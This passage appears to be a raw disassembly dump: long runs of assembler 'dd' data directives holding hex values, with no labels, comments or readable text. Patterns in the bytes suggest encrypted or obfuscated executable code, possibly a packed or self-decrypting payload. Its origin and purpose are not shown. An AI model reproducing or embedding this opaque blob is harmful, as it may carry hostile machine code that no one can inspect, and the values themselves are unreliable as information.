		dd 0FEAA852Ch, 3EC4F0h,	5B4E0000h, 9BA1DB9h, 1F35CCE9h
		dd 7F96B7A3h, 0FCDB8254h, 620EDC36h, 3B1065B0h,	0A884B08Ah
		dd 835BC11Dh, 75913069h, 0A135CCE9h, 0D3788BF9h, 46B8E10Bh
		dd 0A43AD10Ch, 179F0FEh, 39000000h, 0BD1E865Bh,	35CCE914h
		dd 9273A41Ah, 29CA7B25h, 0D418413Dh, 6F44ED4Eh,	706A35CCh
		dd 678D5DE2h, 9B408EC6h, 8D552FF9h, 6A84A577h, 0F777E599h
		dd 3025EDB4h, 0E429EA0Bh, 10AA1808h, 5089A0E6h,	0AC292964h
		dd 1EA41751h, 113EB296h, 1E54BAAAh, 0FD1049A1h,	0A28A07EDh
		dd 861EB324h, 0F900336Ah, 5C1602E8h, 6019F3F7h,	6A868221h
		dd 0B0C2C833h, 0CCAA4062h, 0DAA84267h, 33329987h, 68F7A6D9h
		dd 9874A4A0h, 0D873FDE1h, 336A87ABh, 800F45BDh,	0FE1148A2h
		dd 0D25806ECh, 6A87C879h, 6EE4DE33h, 38D6903Fh,	91B253BEh
		dd 0AEDFCBD1h, 70DB4367h, 336A14D3h, 48F1EDC5h,	2CADE72Bh
		dd 4193E1ADh, 413E8B61h, 0F65859AAh, 14AE9h, 0E11CA900h
		dd 51CA3A24h, 0D54A1FBAh, 77E04E04h, 3EB2464Fh,	0DA0C305Fh
		dd 1A433FA3h, 801DF7EBh, 701CA585h, 2F1B87A6h, 0F913D77Eh
		dd 0FB2DD07Fh, 0DA89C469h, 5EAD1534h, 9F34B071h, 93456F28h
		dd 0D42E0AEAh, 0D82AE455h, 0B4B2580Ah, 94F4758h, 9BE9C4E3h
		dd 5F229C6h, 9F44F658h,	40824CAh, 24F17078h, 0D7AD1148h
		dd 71BCh, 0E71C6600h, 1E934422h, 40B5CCE9h, 0BDA70C6Ah
		dd 0B2C0326Bh, 0E953F013h, 0B77BB5CCh, 1456AE5Dh, 0D77E0826h
		dd 0BB30DC96h, 0B88EB45Ah, 0DA652E2Fh, 6AF4E036h, 0A5D410ECh
		dd 8A40E6CCh, 4F0BD1Ch,	562C1845h, 0CC892CE5h, 1E58B235h
		dd 2C5DB3B1h, 0B6FA17C0h, 0F6EC35CCh, 2709481Ah, 7Fh, 0BD4F55A9h
		dd 0EF04B7h, 19F135CCh,	1DE93729h, 0E11C0B47h, 0E94CE556h
		dd 785235CCh, 0F549E28Ch, 0E13EB2C3h, 2D3D5009h, 1FC34AC7h
		dd 4AED6BF5h, 336AF3D9h, 0B4E335DFh, 62A1045Eh,	336AF0C6h
		dd 0A6748E84h, 33D36E84h, 0BA1D5BB2h, 381D2905h, 4F86A713h
		dd 84C8719Bh, 6FF5067Ch, 9F8DA7CCh, 3514938h, 6503FAFBh
		dd 0E8575DF2h, 416B5B33h, 4604CF2Eh, 0B862766Eh, 24CB4C36h
		dd 1CA1FD48h, 0BC3A24E1h, 0C2ED5017h, 0CE013814h, 6C56F71Dh
		dd 3C51E270h, 3A3EBB32h, 7B22CC93h, 66CDAB87h, 76D7AD7Bh
		dd 54E10BDFh, 6A13F9E9h, 287A2DD7h, 42B07865h, 0ED38D290h
		dd 336A80A2h, 0BD6B16BDh, 0F340128Ch, 2A5A03EDh, 644694EEh
		dd 5614338Eh, 176B8DBCh, 0ED000000h, 50FB6746h,	65A87D33h
		dd 0A8D1CD25h, 1E643C36h, 19F3EB50h, 825B374Bh,	0CC9E3168h
		dd 25C80726h, 243B4AF3h, 507C93CAh, 84A8E786h, 0C4E42B52h
		dd 0FDC732Ah, 5D0944E5h, 53A496B7h, 0C3815B54h,	4, 8704EB83h
		dd 685C241Ch, 30FEh, 50243C89h,	405E089h, 83000000h, 48704E8h
		dd 1C895C24h, 37BB5324h, 5306AD49h, 0EC815B5Fh,	4, 81242489h
		dd 42404h, 685B0000h, 7D17h, 8F243C89h,	1C8B0843h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 5F2434FFh,	0E904C483h
		dd 0FFF92F43h, 96A58CE3h, 0AD4DF7B8h, 0FFC50306h, 7849FEE0h
		dd 84314257h, 2D58E732h, 49F37D2Bh, 776FFF6Dh, 8A31E75Bh
		dd 4FDE5021h, 7F89A053h, 129304Fh, 1FBD742Ch, 0B7CCD96Ah
		dd 0BE831h, 0B38A0000h,	0C0A8E99h, 0F7DBE790h, 0DA8166B6h
		dd 665FE7F3h, 0C781C68Bh, 0E935h, 5E9h,	42503900h, 0DB2BCB79h
		dd 34FFA3B0h, 815EF93Bh, 0B8D177F6h, 0D52BBA22h, 0EE813C70h
		dd 7655734Dh, 0EE8189B2h, 6BB3D3Dh, 28E0Fh, 0C28B0000h
		dd 0F91F3489h, 0EB83E78Ah, 4BEAB201h, 81664B4Bh, 81D710C8h
		dd 0FF174CFBh, 0BB850FFFh, 56FFFFFFh, 0EE857h, 5B8C0000h
		dd 7E429F35h, 1AEB2394h, 0F5492961h, 0E9595959h, 2Ah, 2404C7h
		dd 0E8000000h, 0
		dd 3CED815Dh, 8B06AD4Fh, 89042444h, 0A6269185h,	0B806h
		dd 8D8D0000h, 6A64F55h,	54B8E1FFh, 0E9000067h, 3Bh, 91BD8B60h
		dd 8306A62Dh, 0C93304EFh, 20BBC18Bh, 83EDB883h,	8BE04C7h
		dd 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh
		dd 0F98107h, 0F000001h,	0FFFFD382h, 8BC361FFh, 568D8DC8h
		dd 6A06AD50h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A5BFC352h, 2245D6E7h,	8D890FE8h
		dd 6A606ADh, 2F259D8Bh,	85C706A6h, 6A6040Dh, 707Ch, 6635DE81h
		dd 85C72F1Ch, 6A60BE9h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C4C35242h
		dd 0BF3FC185h, 3109638h, 2B098523h, 0B5FF06A6h,	6A60B19h
		dd 2DB58B50h, 5F06A62Ch, 1A7995FFh, 6A06A6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 38934C3h
		dd 6ABEB402h, 5995FF00h, 8B06A629h, 8F2EEBC0h, 842C013Ah
		dd 2723B063h, 762D75FEh, 0BBB57C8h, 496E3B0Bh, 0A632219Ch
		dd 58525FB4h, 0D36532A6h, 6BFF516Eh, 5DEBCC90h,	0EC5AF72Fh
		dd 2FE929h, 6C390000h, 599Ch, 0Ah dup(0)
		dd 530E900h, 0CC990000h, 0BAACEB26h, 697AC550h,	590F3683h
		dd 31D37AB7h, 0BE1FAAE7h, 4CD90F31h, 0B10CE2C1h, 0E03DEB96h
		dd 0D26F85A5h, 0F869C24Ch, 0EE3361B9h, 875BE7BBh, 0EF913C6Dh
		dd 0EB92786Ah, 0D75D1BF7h, 0CCE9CF64h, 6BF9D135h, 917B6FD6h
		dd 5DFE84E8h, 35CCE934h, 0E819B23Ah, 0FE35CCE9h, 0F55A2804h
		dd 276E1FF5h, 40BCED07h, 53D92A58h, 0CCE94BF8h,	0FE371A35h
		dd 0FCBFA635h, 39285743h, 34369DD7h, 0D9C443DEh, 0E88BB20Fh
		dd 0E1C00F3Eh, 70DB610Fh, 35CC0AD3h, 4593BEC5h,	1AAA1B69h
		dd 8BB6649Eh, 6545C05Dh, 0B9E00ADCh, 91306945h,	35CC0A75h
		dd 0F8BF9A1h, 0F0FE47D4h, 6193h, 875B1F00h, 769D3C6Dh
		dd 0A435CCE9h, 0E97784FEh, 0CCE9254Eh, 0DA8CCB35h, 0B9950930h
		dd 0A49732ABh, 1D6F0FEh, 5C000000h, 0F69835Bh, 3E6F81A0h
		dd 0F01F8EC4h, 0A2521CF6h, 2BB4E9D8h, 0BAEB795Ch, 37DD8D2Ah
		dd 69D6AC16h, 6CCB957Bh, 0DE3C17Ch, 0F2E24311h,	580EDC36h
		dd 312DC3E1h, 638959E4h, 0DD7A9CD6h, 216EE432h,	778FE93Fh
		dd 0FDC79811h, 713D7381h, 0E11A7F57h, 5C48A287h, 7E68A706h
		dd 9A94F594h, 4096BA68h, 72984AF5h, 4DA784CBh, 92E0881Ch
		dd 3F33AD61h, 21477325h, 256FBA53h, 746EF0FEh, 0D4000000h
		dd 3E6FB95Bh, 0B75D09B6h, 0EC5516BDh, 3C3A16C0h, 41830FC0h
		dd 790BA351h, 45ABB9D4h, 14FAE924h, 0A5DFDB75h,	872C4A24h
		dd 0E8384A9Ch, 72A4489Ah, 94C53927h, 0DEC7CAD6h, 0A1D57385h
		dd 58E7C2B1h, 4D9B850Ah, 1DF3F11Ch, 6290586Ch, 0FE62BBE6h
		dd 4C9AF0h, 5B180000h, 973E6FB9h, 0CC033AECh, 3F56F721h
		dd 39A7C628h, 8D820371h, 0B35D8F85h, 5B9E2865h,	0F70F6983h
		dd 248D02D7h, 11B4CECEh, 0CC4954F2h, 7DDA8235h,	21F18369h
		dd 4BC57D3h, 0BFBF0FEh,	75000000h, 45274CEFh, 0D1C935CCh
		dd 0FC7ACF83h, 0CCE9365Bh, 0B0C23835h, 95B45E03h, 2ED1687Ah
		dd 0FB5941F8h, 0E9D375C4h, 0C6EA9581h, 0CB052410h, 9946B5CFh
		dd 9C4A76CBh, 7C6DD2A0h, 7A7B1B96h, 0A75FE583h,	5112217Ch
		dd 86394B5Ah, 3EB2F37Ch, 5EF1A802h, 6C2B668Ch, 56F5947Eh
		dd 336ABB3Fh, 9350FF75h, 0CDC7EB79h, 6AEF913Eh,	0ABB9957Bh
		dd 0C2AC4664h, 313B5B32h, 750FE355h, 0C951113Ch, 0F3AA4062h
		dd 0E2274C0Fh, 0D1C9336Ah, 590944E5h, 0F9B58AB3h, 55F2788Bh
		dd 0DDC17896h, 6AE215BEh, 0E0AF1B33h, 0F45B29C3h, 0D0811CF6h
		dd 0F658AF39h, 15A78h, 0E11C3A00h, 0AF9B4D77h, 0FE6816C1h
		dd 847E3EB2h, 52B8AAE5h, 806A78C7h, 5EB4B6D9h, 5DC1E02Fh
		dd 6AFF49FAh, 77635F33h, 46A8BFD6h, 166C2627h, 166C2697h
		dd 66D15FE5h, 336AFFCDh, 3F54E7D3h, 21336AFFh, 7920F69Ah
		dd 74DBA985h, 50019C76h, 0F658B2B9h, 3FF8h, 1BC36800h
		dd 1C5648F1h, 22E71C44h, 0E91E9344h, 6A40B5CCh,	0F78FF00Ch
		dd 16BE0F41h, 0B2C0BC6Ah, 53F013h, 0B77BB5CCh, 0F613C85Dh
		dd 0C2CF68h, 3E9435CCh,	0C98DE3h, 58070000h, 511163B5h
		dd 7377E11Ch, 57F61CCAh, 0E5837F6Bh, 0B2C3FC72h, 0B153FA3Eh
		dd 0E0DCC667h, 0BE5416B9h, 0C8540BB0h, 6AF3C26Fh, 2FED433h
		dd 5EF9675Bh, 336AF335h, 0FCB5CF3Bh, 41F89C70h,	1A5872F8h
		dd 0DE7FB48h, 0DE7C463h, 19B3D677h, 55336A89h, 8D26911Fh
		dd 93336A8Dh, 8F852D27h, 2A678D5Dh, 29C7E542h, 0DB32B35Bh
		dd 0BBA8179Dh, 0BCB62851h, 1D5D601Bh, 0D5987638h, 33DD8CD3h
		dd 47B8A80Ah, 9F82CD3Ch, 0B2AE1049h, 0DF66448Bh, 5FB1B035h
		dd 0DEDD7363h, 6CEEF2B3h, 0F41EF670h, 0B11FD8EAh, 93796A15h
		dd 0D8206CC1h, 0A3A559AAh, 489E82EAh, 5BF1F158h, 500FD09h
		dd 0FCC5F05Bh, 0E7D333E8h, 7B65C2AAh, 1C9BD7ADh, 0BC3A24E1h
		dd 0A4BE5017h, 0BB396813h, 3D807E3Eh, 8DE53304h, 6B9AC3BFh
		dd 5009D77h, 7B9ECF25h,	909253E0h, 4B99EBB7h, 0D73D2E97h
		dd 16504CB6h, 3455BBA9h, 5EF9B8CAh, 0A9C7668Ch,	9488C255h
		dd 4A18534Ch, 5009E7C5h, 4C9EF43Ch, 0ED07279Eh,	0BF5511BCh
		dd 9132A5C3h, 87501296h, 5BE23F2Bh, 0B83C6D87h,	3, 5B821EE0h
		dd 9E316882h, 0C80726CCh, 3B4AF325h, 7C93CA24h,	0A8E78650h
		dd 0E42B5284h, 0DC732AC4h, 944E50Fh, 0A496B75Dh, 5E08950h
		dd 4, 42Dh, 24048700h, 243C895Ch, 18CD68h, 240C8900h, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 52B9242Ch, 5512261Dh
		dd 0BDh, 87CD2900h, 0C1815DE9h,	18D36E14h, 242C8B54h, 4C481h
		dd 83680000h, 89000038h, 3481240Ch, 0BE26F924h,	8458F41h
		dd 0F9087581h, 8B41BE26h, 8956242Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 240C8B5Ch, 81E38953h, 4C3h,	4C38300h
		dd 5C241C87h, 0F927BAE9h, 58B860FFh, 306AD55h, 0A9E0FFC5h
		dd 0CD31B80Eh, 0E00E5B59h, 3F643E60h, 0FA12E3E6h, 6752036Ch
		dd 3405E380h, 0E90EC43Ah, 0C4h,	318C6647h, 6FBA5016h, 5CE90320h
		dd 801DF3F1h, 0F04D9B85h, 0F99B14A9h, 0B4AB922Fh, 5D40CF5Ah
		dd 53173E8Bh, 78066CB9h, 61BFB2DFh, 3101A433h, 326B855Bh
		dd 6E8334B2h, 7035CCE9h, 0C34CC89Ah, 9975F31Dh,	0DAAD5C63h
		dd 172A3825h, 6B81A209h, 0A90AA619h, 0F30435CCh, 0B4350E20h
		dd 96B7590Fh, 0F0E5562Ch, 9A354C6Ah, 358A69ABh,	311DF408h
		dd 3AE1E0D3h, 0CB228h, 1E960000h, 50E9BC50h, 1BFD39AFh
		dd 825B0949h, 0CC9E3168h, 25C80726h, 243B4AF3h,	507C93CAh
		dd 84A8E786h, 0C4E42B52h, 0FDC732Ah, 5D0944E5h,	68A496B7h
		dd 6AD561Ch, 0F926DAE9h, 0BB2B6FFFh, 2194847Fh,	631233Ah
		dd 559498CFh, 579B8D8Dh, 6A06ADh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 6B64D9C3h, 4BE1CA47h
		dd 95094B16h, 6A6084Dh,	2CF18D89h, 8D8906A6h, 6A606ADh
		dd 0D85C7FCh, 7C06A604h, 80000063h, 85C794DFh, 6A60BE9h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DDC35242h
		dd 0F4511591h, 2B51BD8Bh, 516006A6h, 8B586160h,	0A614BD9Dh
		dd 0B5FF6106h, 6A62095h, 95FFD68Bh, 6A61A79h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 39C35747h, 1F562E46h
		dd 95FF006Ah, 6A62959h,	38EBC08Bh, 5528D221h, 0B7AEE87Bh
		dd 0DEFE4EAAh, 0E5F2A002h, 9089A344h, 27FAFF5Ah, 1042712Fh
		dd 4A351AAh, 72845DBEh,	5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh
		dd 0EDCE77Bh, 0ABDCF2C1h, 80120CEBh, 0B7E876EDh, 98F618EEh
		dd 0E5E9EE0Ah, 0E9000005h, 5D9h, 0CD58B2ABh, 338E6442h
		dd 60BD5714h, 5CE90725h, 8C19CFF1h, 2DD7E07Dh, 0C0E7AEFBh
		dd 89B4932Eh, 677BC25Fh, 0AC32308Dh, 61BEE60Bh,	175D8833h
		dd 0BE852E89h, 0E1EC3361h, 5BCB37E5h, 42108AA5h, 6D875B0Eh
		dd 38EE913Ch, 0F11FCE01h, 0F224C877h, 0A81D574Bh, 0FCAD7B65h
		dd 0C079AF51h, 831DF8Dh, 5F0EE4C5h, 0ADDC3630h,	0BC1FA825h
		dd 35CCE917h, 14C7A119h, 35CCE9FFh, 531D09E1h, 0BB0111F8h
		dd 644FA73Eh, 6E1B0AB8h, 61BFD487h, 49A13361h, 5807615Dh
		dd 626618Bh, 0E42B9AE8h, 94902DC7h, 0B4D53F2Fh,	0D68B384Ah
		dd 0BA96786Fh, 0BB6D17BCh, 34D456CBh, 461C5008h, 43C5A4E7h
		dd 8EAA83A1h, 6F85A674h, 0BA1B0D01h, 0B898BAFDh, 0DBF41DBEh
		dd 0FA4321h, 96573F72h,	4B46F17Fh, 19485633h, 0AA55F8A1h
		dd 0CF47217Ch, 0D188A6E2h, 0EFFC9BE2h, 0E87A6405h, 3F6EB85Bh
		dd 8BECC59Ch, 0B4CEEA2Ah, 0C3AD7B66h, 0E8F94464h, 55C1602h
		dd 0DB85807Dh, 0AE49FA5Dh, 635FAE12h, 98EA0424h, 91A5A10Ah
		dd 0DB80A56Ch, 3F94EE38h, 0ED4A9AC3h, 8C5A46C3h, 7FF5E990h
		dd 489DB3DCh, 0EE24CC97h, 7AD04F6Ah, 70E52h, 72B40000h
		dd 396h, 6EB85BD6h, 39D3903Fh, 0F523CD00h, 0C72D3954h
		dd 50A26EA6h, 3C5698D1h, 9815C3EEh, 254492BDh, 7EF04EB8h
		dd 66FC12D1h, 0F79A48BAh, 1EB94721h, 35CCE9F5h,	3C750FFBh
		dd 83BA5011h, 0F4729C4Ch, 0E9A4CD6Eh, 504A35CCh, 7C6CA302h
		dd 82A4EB92h, 7EB03168h, 3FFB8504h, 0EB5217C5h,	902D19F3h
		dd 0EB9248B9h, 74A24EB6h, 0A14F1E39h, 789655F8h, 0A1D3DFC1h
		dd 10D16C73h, 635F43FAh, 0CA46D6h, 7A1A0000h, 93E10FDDh
		dd 0CA946F6Bh, 25B1673Ah, 0D6ACF6F6h, 0E00AD877h, 325FF886h
		dd 2435CCF2h, 7920CE9Dh, 86DBA985h, 9932AABFh, 35CCF268h
		dd 0F1A8847Eh, 0CCF23152h, 98EA3635h, 0F573994Ah, 5506A24Eh
		dd 35CCF23Ch, 0ADDCC822h, 0F27BE843h, 756D35CCh, 8FB6CB99h
		dd 0F81736D8h, 675900EAh, 0ABD873F9h, 0BD35CCF2h, 0C42A3A45h
		dd 0C210628Eh, 678D5EE3h, 5A46ED8Bh, 93E1DD8Ch,	9E7077DEh
		dd 99736BD0h, 74241AA9h, 2C26C14Eh, 18C877F9h, 196B57F6h
		dd 295086AAh, 3BE91BE7h, 2013CE24h, 0DDB5630Eh,	372302F1h
		dd 17D572FAh, 38246BF9h, 0B742BFEEh, 4B99EB07h,	1B227FA9h
		dd 5CFFAE78h, 35CC3A32h, 4F9DF73Bh, 0EB2772A4h,	6EB85Bh
		dd 0E9B0D17Ah, 1FA635CCh, 1B87A648h, 5DF0552Fh,	0D24A60B2h
		dd 0A2C1F226h, 9554A8B6h, 0F32D8B98h, 55671B23h, 76867C7Dh
		dd 0C6C849FCh, 0A5731ECCh, 0A34D1CBBh, 51B990D1h, 2635CC5Dh
		dd 0FE10974Fh, 0CBEF27F0h, 4A374181h, 0BB2883EDh, 0AD35CC85h
		dd 0DC443F35h, 1CFFFFFEh, 72F67EE0h, 90E2FBEAh,	0A78A7AD0h
		dd 0B640A5F9h, 19D42032h, 85D972FCh, 513EB220h,	50ACC079h
		dd 6F181248h, 60AFA5B0h, 321DA842h, 379CDA30h, 3EA0D933h
		dd 9E4E8124h, 0CBD7C970h, 9D776BB9h, 0AABF2400h, 93A11940h
		dd 0A4838D86h, 60AFA591h, 7FF1A842h, 64FE10D0h,	6A47BBD3h
		dd 44AEB333h, 4B34BD25h, 0FA6E725Ah, 0C6678D5Dh, 52BFDED8h
		dd 93BD7F63h, 1D7CFD17h, 0AB10E311h, 0E3225BB5h, 283A16C0h
		dd 902DC79Bh, 600CB5B5h, 3F2B97B6h, 0C845800Eh,	9D410DAEh
		dd 0BD153814h, 0D080460h, 65A5C388h, 0BC39C59Fh, 7DB42741h
		dd 5233F761h, 891FF1F5h, 0D6C44F60h, 0D595B2AEh, 0DE940E3Fh
		dd 9CD08961h, 84DE3037h, 77C2143Fh, 5BC863E9h, 7C263512h
		dd 3512B6DBh, 1542B826h, 7518A7BDh, 621BCDF0h, 2ADA8470h
		dd 52BD56AFh, 13B2C0EFh, 0F5EF99F0h, 57AF2196h,	0CC739A9Dh
		dd 24CC8671h, 0C7113CEEh, 801CC34Ah, 0F6ACBAD7h, 5A36ACB1h
		dd 17C1EC23h, 0E335DF76h, 0BB550BBAh, 73818D82h, 99462CF2h
		dd 0A15826C8h, 0D7E63DCCh, 4BB969FBh, 0C4A614CFh, 0B45374h
		dd 5BDF0000h, 430E6D83h, 469B6A00h, 1E79AB03h, 0CF8D48Ch
		dd 3FD596B1h, 6B855BE2h, 9B4D77DEh, 0CB1D070Eh,	0FA10D77Eh
		dd 3EEB3925h, 0FC382815h, 88B74A2h, 64C3AD99h, 2FCAD47h
		dd 6B163170h, 52560BDh,	6844AEBCh, 984E72DDh, 0F0789E1h
		dd 0B7EA1104h, 9A019553h, 0B9B6E3D3h, 0D9B55F03h, 0F7EB1A8Bh
		dd 9A206C1Dh, 3DC82F6Ah, 0FF59B117h, 0C39D75BCh, 7FA3B129h
		dd 0C16EF005h, 6F530AE0h, 872C8F15h, 0A935CC7Ch, 0CF7EE431h
		dd 6FA9h, 26CF100h, 306987A5h, 0E103B4CEh, 0E435CCE9h
		dd 0CA67D05Eh, 0ED35CCE9h, 0CCE9D94Ah, 0A4D3CF35h, 96EC344Eh
		dd 835B6B87h, 7071DC69h, 20000F9Ah, 28D473CEh, 0F8E4A3FEh
		dd 2E95932Eh, 35A9D03Eh, 95B45A0Ah, 0F5F45B29h,	0CBF65D1Bh
		dd 0D5726C1Dh, 544EFF15h, 0D9C4431Eh, 3B628C5Ch, 0F75EEBC7h
		dd 0F05F19F3h, 364B19F3h, 326h,	821E7A00h, 3168825Bh, 726CC9Eh
		dd 4AF325C8h, 93CA243Bh, 0E786507Ch, 2B5284A8h,	732AC4E4h
		dd 44E50FDCh, 96B75D09h, 0E18951A4h, 4C181h, 0E9830000h
		dd 74FF5104h, 8F590424h, 685C2404h, 742Dh, 68241C89h, 741Dh
		dd 50243489h, 0AD57F0B8h, 8BC38906h, 0C4832404h, 348B5404h
		dd 4C48124h, 50000000h,	8B8h, 89F00100h, 24048B18h, 8B04C483h
		dd 89502434h, 405E0h, 4050000h,	87000000h, 8B5C2404h, 8951241Ch
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 1FEDE95Ch, 7188FFF9h
		dd 8EF74345h, 6AE6DB18h, 5D41B8FFh, 0C50306ADh,	16EBD38Bh
		dd 5 dup(0)
		dd 4340101h, 6AD0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 7C35646h, 3818A5D6h, 880F8201h, 6, 2BDDBD03h
		dd 669006A6h, 501307BBh, 8B2C5FB9h, 0BD099037h,	6A61475h
		dd 82D958Bh, 6A06A6h, 51006AF5h, 33C19D29h, 805B06A6h
		dd 858DB9E5h, 6AD5ECCh,	2F15BD89h, 609006A6h, 0E960DD8Ah
		dd 0Ch,	0B4EBE563h, 97597542h, 0C2F04BBBh, 60506161h, 890FE78Ah
		dd 2, 9061DC8Ah, 25CD958Bh, 6A06A6h, 31BD9D23h,	6A06A6h
		dd 95FFD58Ah, 6A61245h,	19B18D33h, 0D08B06A6h, 5A1E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 6020C2EBh, 2E0DB1B9h, 9021DB81h,	952B2B1Fh
		dd 6A61F15h, 0E8h, 0ED815D00h, 6AD5ED1h, 60D88B66h, 2AD5BD89h
		dd 0B86606A6h, 0E861D633h, 4, 0FA0h, 310F5250h,	585A32B3h
		dd 24448B50h, 5F526004h, 6DBB5250h, 0F5657FFh, 5AD38B31h
		dd 8B6158h, 0AE9h, 0C0DD0B00h, 0D40E9933h, 89CC7E2Ah, 60042444h
		dd 0DE8h, 5F89C800h, 0EE061E51h, 0EB0F955Ch, 7E861D6h
		dd 0C7000000h, 0DF55E4C9h, 5F58311Bh, 0CC64BA66h, 880F5861h
		dd 0Eh,	9E9h, 16290400h, 0EDE97309h, 95FF83ACh,	6A62959h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 99C35040h
		dd 0D4B58D00h, 6A06AD5Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 8CE8C356h, 0AC3D8538h
		dd 0BA25A273h, 0CE9h, 0DEEB900h, 19532515h, 95177A3Ch
		dd 95BD2948h, 0C706A633h, 67655206h, 55006A6Dh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 6645D2ECh
		dd 6F0446C7h, 896C636Eh, 0A60951BDh, 846C706h, 737361h
		dd 6A006AFCh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0F15BC357h, 30C38080h,	5DD4858Dh
		dd 8B9006ADh, 0DEB250CFh, 0FFD68B90h, 0A62C4D95h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 849AF7EFh, 0FC00BF9h, 4D84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 81D692D4h
		dd 0C285D5C1h, 339E95Eh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0D4FE24C3h, 0B966C39Ah
		dd 726841EAh, 0B34DA948h, 2434812Dh, 4DA9495Eh,	0FFD0B70Fh
		dd 0A6295995h, 0F1958B06h, 8D06A61Bh, 0AD5DD4B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D890808h, 6A6011Dh,	0C7FFBF0Fh, 34383106h, 0E2815136h
		dd 1C57A534h, 0C7CA8B5Bh, 2D370446h, 0F5803134h, 846C7C7h
		dd 0
		dd 858D006Ah, 6AD5DD4h,	0FA8B6651h, 5050905Bh, 0F525052h
		dd 0F585A31h, 0FE831h, 58480000h, 0C4D8B71Ch, 560CB026h
		dd 0F2713F3Dh, 585A592Ch, 880F5059h, 2,	6A908AB3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0E538C352h, 0B531F812h, 6A6011Dh, 2C4D95FFh,	6A06A6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0B31768C3h, 96F40694h, 0F82B07Ch, 0C89h, 6830F00h, 29000000h
		dd 0A62C7185h, 0FC00B06h, 6284h, 1A880F00h, 0E8000000h
		dd 0Eh,	0E925C1Dh, 497B541Fh, 0BF840847h, 9589DE4Ch, 6A628D9h
		dd 1E1E95Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BE809C3h, 13000000h, 0D449963Bh
		dd 564D06CFh, 0B96658BCh, 95BB479h, 0A60B5585h,	8B0F06h
		dd 68000000h, 619BFF32h, 3481F38Ah, 9BFE1E24h, 2DB58961h
		dd 0F06A611h, 68Eh, 0AD852900h,	0FF06A632h, 0A6295995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 9A43D28Ah, 9D8BC5B8h, 6A6139Dh, 5DD4B58Dh
		dd 6A06ADh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0DDBE84C3h, 66C5EFD5h, 6C7CF8Bh, 656C6946h
		dd 15A59D89h, 81B306A6h, 6D0446C7h, 8B636E6Fh, 9D8B53D3h
		dd 6A62931h, 846C75Bh, 7373616Ch, 0D09B529h, 46C706A6h
		dd 0Ch,	38BCBF00h, 6A0499h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 78C35141h, 0C187F9D7h, 0F2816629h, 858D2C0Eh
		dd 6AD5DD4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0E9C35040h, 50E4CC7Bh, 0FD08B60h, 687h,	880F00h
		dd 61000000h, 8B240489h, 0A62979BDh, 0D9958B06h, 0FF06A60Bh
		dd 0A62C4D95h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 4E39761Ch, 0C2411193h
		dd 1EE9BD8Bh, 0C00B06A6h, 1C840Fh, 820F0000h, 5, 2809C9BFh
		dd 0D88B664Fh, 3EE9h, 85896000h, 6A62C2Dh, 3DE961F9h, 6AFFFFFBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 3D8C357h,	4F245543h, 899B1498h, 0A61F719Dh
		dd 0CD850106h, 8D06A62Ah, 0A67226B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 938AB676h, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0D43AE8C7h, 8D89B6A6h
		dd 6A61131h, 1BE99D89h,	0E6FF06A6h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 7AC35343h, 39BD8938h, 8006A60Eh
		dd 0C18B05D1h, 75FDED55h, 76F67A5Eh, 56E669A4h,	0FFFD49BCh
		dd 5DFD26D9h, 92FD26F7h, 0F0FD26E3h, 0E2FD2669h, 0D8FD26ACh
		dd 0A1FD264Eh, 86FD263Fh, 7DFD2687h, 0B8FD26DAh, 71FD26F4h
		dd 0EAFD26E0h, 37FD266Bh, 14FD26ADh, 0F1FD264Fh, 0BDFD263Eh
		dd 1FD2685h, 9DFD26D9h,	95358A25h, 76D6A222h, 5CDE714Ah
		dd 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh
